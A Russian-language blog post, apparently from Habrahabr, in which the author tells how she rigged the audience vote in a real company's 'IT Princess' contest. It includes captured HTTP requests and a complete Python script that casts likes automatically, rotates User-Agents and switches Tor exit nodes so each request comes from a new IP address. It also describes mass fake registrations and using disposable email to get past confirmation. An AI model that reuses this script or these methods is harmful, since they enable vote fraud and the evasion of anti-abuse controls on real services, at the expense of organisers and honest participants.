[Из песочницы] Как стать IT-принцессой

image
Каждая девочка мечтает стать принцессой, быть самой красивой, самой умной и обязательно встретить принца. Множество маркетологов и PR-акул обогатили свои компании, играя на этих простых девичьих мечтах. Сферу IT, мужскую и брутальную, это явление тоже не обошло стороной. Известная компания запустила громкий конкурс на звание титула IT-принцессы. Всех, кто слышал и кому интересно, как оно было, приглашаю под кат.
В конкурсе было заявлено 3 этапа. Я расскажу про первый.

1. Регистрация участниц и голосование за приз зрительских симпатий


Чтобы принять участие в конкурсе достаточно выбрать миленькую фоточку и… и всё. Порог вхождения для участия — нулевой. Приз зрительских симпатия в виде корзинки косметики получает леди, набравшая больше всего лайков. Привлекать живой трафик и засорять социалки бесконечными репостами — это не удел принцесс, так что запускаем Burp и смотрим, как оно все устроено.

На странице для голосования (/itprincess/gallery/) отражается 6 участниц и дальше при прокрутке с каждым ajax-запросом загружается еще по 6. Голосование осуществляется post-запросом c ID нужной участницы, но он не фиксированный и генерируется для каждой новой пользовательской сессии.

Примеры запроса на страницы для голосования:

GET /itprincess/gallery/ HTTP/1.1
Host: it.mail.ru
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: csrftoken=t4XRJ4J4EJYLqzVhL22pzHvPynzKkhMz; sessionid=jxtr3fljir54b9qn2liyl71tohr6n5ff;
Connection: keep-alive


По факту, в поле Cookie указано больше параметров, но они не имеют никакого значения для голосования, я их убрала.

Пример отправки лайка:

POST /itprincess/gallery/2 HTTP/1.1
Host: it.mail.ru
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://it.mail.ru/itprincess/gallery/
Content-Length: 52
Cookie: csrftoken=u7lS6UIww7Eppq9HVD66iS7i4ss6SO04; sessionid=sln1o1pivi5sl7mgezdqa8p6us59jhek
Connection: keep-alive

csrfmiddlewaretoken=u7lS6UIww7Eppq9HVD66iS7i4ss6SO04


Что ж, пишем лайк-машину. Все, что нужно — это отправлять запросы, парсить html-страницы с ответом сервера и искать мой ID. Для парсинга использовался фреймворк BeautifulSoup. Потом я подумала, что лайк-машину быстро спалят и нужно на каждом запросе менять User-Agent и IP-адрес. Тут я, конечно, сильно заморочилась, хотя по факту организаторы и не думали отслеживать накрутку лайков.

Функция def get_ua () проходит по файлику со списком user-agent (там порядка 300 значений) и выбирает 1 рандомно. Для того, чтобы организовать работу с Тором, понадобилось 2 библиотеки: requesocks — позволяет работать библиотеке request через socks-прокси и stem — позволяет контролировать смену ноды (на каждый новый запрос — новый ip-шник).

Мой скрипт (я написала его за 2 часа, и, безусловно, тут можно много оптимизировать и украшательствовать):

# -*- coding: UTF-8 -*-

import sys 
import urllib2
import requests
import requesocks as requests
import time
import random
from random import randint

#for tor sent signal
from stem import Signal
from stem.control import Controller

#for parsing html
from BeautifulSoup import BeautifulSoup

url = 'https://it.mail.ru/itprincess/gallery/'
proxy = {
         'http': 'socks5://127.0.0.1:9050',
         'https': 'socks5://127.0.0.1:9050',
        }

while 1:
    def get_ua():
        f = open('ualist.txt', 'rb')
        agents = f.readlines()
        return random.choice(agents).strip()

    ua=get_ua()

    headers_get = {
                 'User-agent': ua,
                 'Referer':'https://it.mail.ru/itprincess/gallery/'
                  }

    headers_post = {
                 'User-agent': ua,
                 'Referer':'https://it.mail.ru/itprincess/gallery/',
                 'X-Requested-With': 'XMLHttpRequest',
                 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
                  }

    r = requests.get(url, headers=headers_get, proxies=proxy, verify=False)

    #с POST-запросом требуется передача csrf-токена, поэтому сразу зафиксируем его
    data = 'csrfmiddlewaretoken='+r.cookies['csrftoken']
    
    #получаем содержимое ответа сервера на запрос
    soup = BeautifulSoup(r.content)

    #единственная уникальная информация, которая есть для каждой участницы - это ответ на вопрос, что для нее значит сфера IT - по этой строчке и будем искать
    my_title = soup.find(title=u"строка обо мне")

    if my_title:
        # получаем id для меня 
        id=my_title.parent.get('id')
        print id
        url_post = "https://it.mail.ru/itprincess/gallery/"+str(id)
        s = requests.post(url_post, headers=headers_post, cookies=r.cookies, data=data, proxies=proxy, verify=False)
        continue
    else :
        print 1

    # с помощью Контроллера, запущенного на 9051 порту посылаем тору сигнал о смене ноды
    # кстати, сам скрипт нужно запускать от root, потому как иначе  stem выбрасывает exception 
    with Controller.from_port(port = 9051) as controller:
        controller.authenticate("16:872******************")
        controller.signal(Signal.NEWNYM)

    time.sleep(5)


Чтобы запустить Контроллер необходимо установить параметр ControlPort в /etc/tor/torrc файле:

ControlPort 9051
## If you enable the controlport, be sure to enable one of these
## authentication methods, to prevent attackers from accessing it.
HashedControlPassword 16:872*************


А затем перезапустить Тор:

/etc/init.d/tor restart


После закрытия голосования 1-го этапа возможность ставить лайки через веб-морду пропала, но мой скрипт спокойно продолжал работать и накручивать. По-моему, они это заметили и закрыли только через 2 дня.

На втором этапе конкурса условия слегка изменились, но баги остались те же.

2. Голосование зарегистрированных участников


Веб-приложение для конкурса написано на Python/Django, и тут встретилась его типичная фича — при регистрации пользователь автоматически авторизуется, т.е. без необходимости подтверждения почты. Это значит, что по сути можно отправить любые регистрационные данные (Имя/Фамилия пользователя, почта и пароль) и сразу перейти к голосованию. Данные регистрации отправляются через multipart/form-data и как заполнять эти данные через python легко гуглится.

Кстати, на случай, если бы конкурс был сделан по уму и разработчики предусмотрели необходимость подтверждения почты перед голосованием, для сервиса временной почты Guerilla Mail есть отличный python-клиент, да и вообще у них открытый API, так что реализация может быть на чем угодно.

Почему я не продолжила парсить и лайкать? В отличие от первого этапа, на интерфейс не выводилось количество набранных лайков. А такой развод уже точно не для принцесс.

© Habrahabr.ru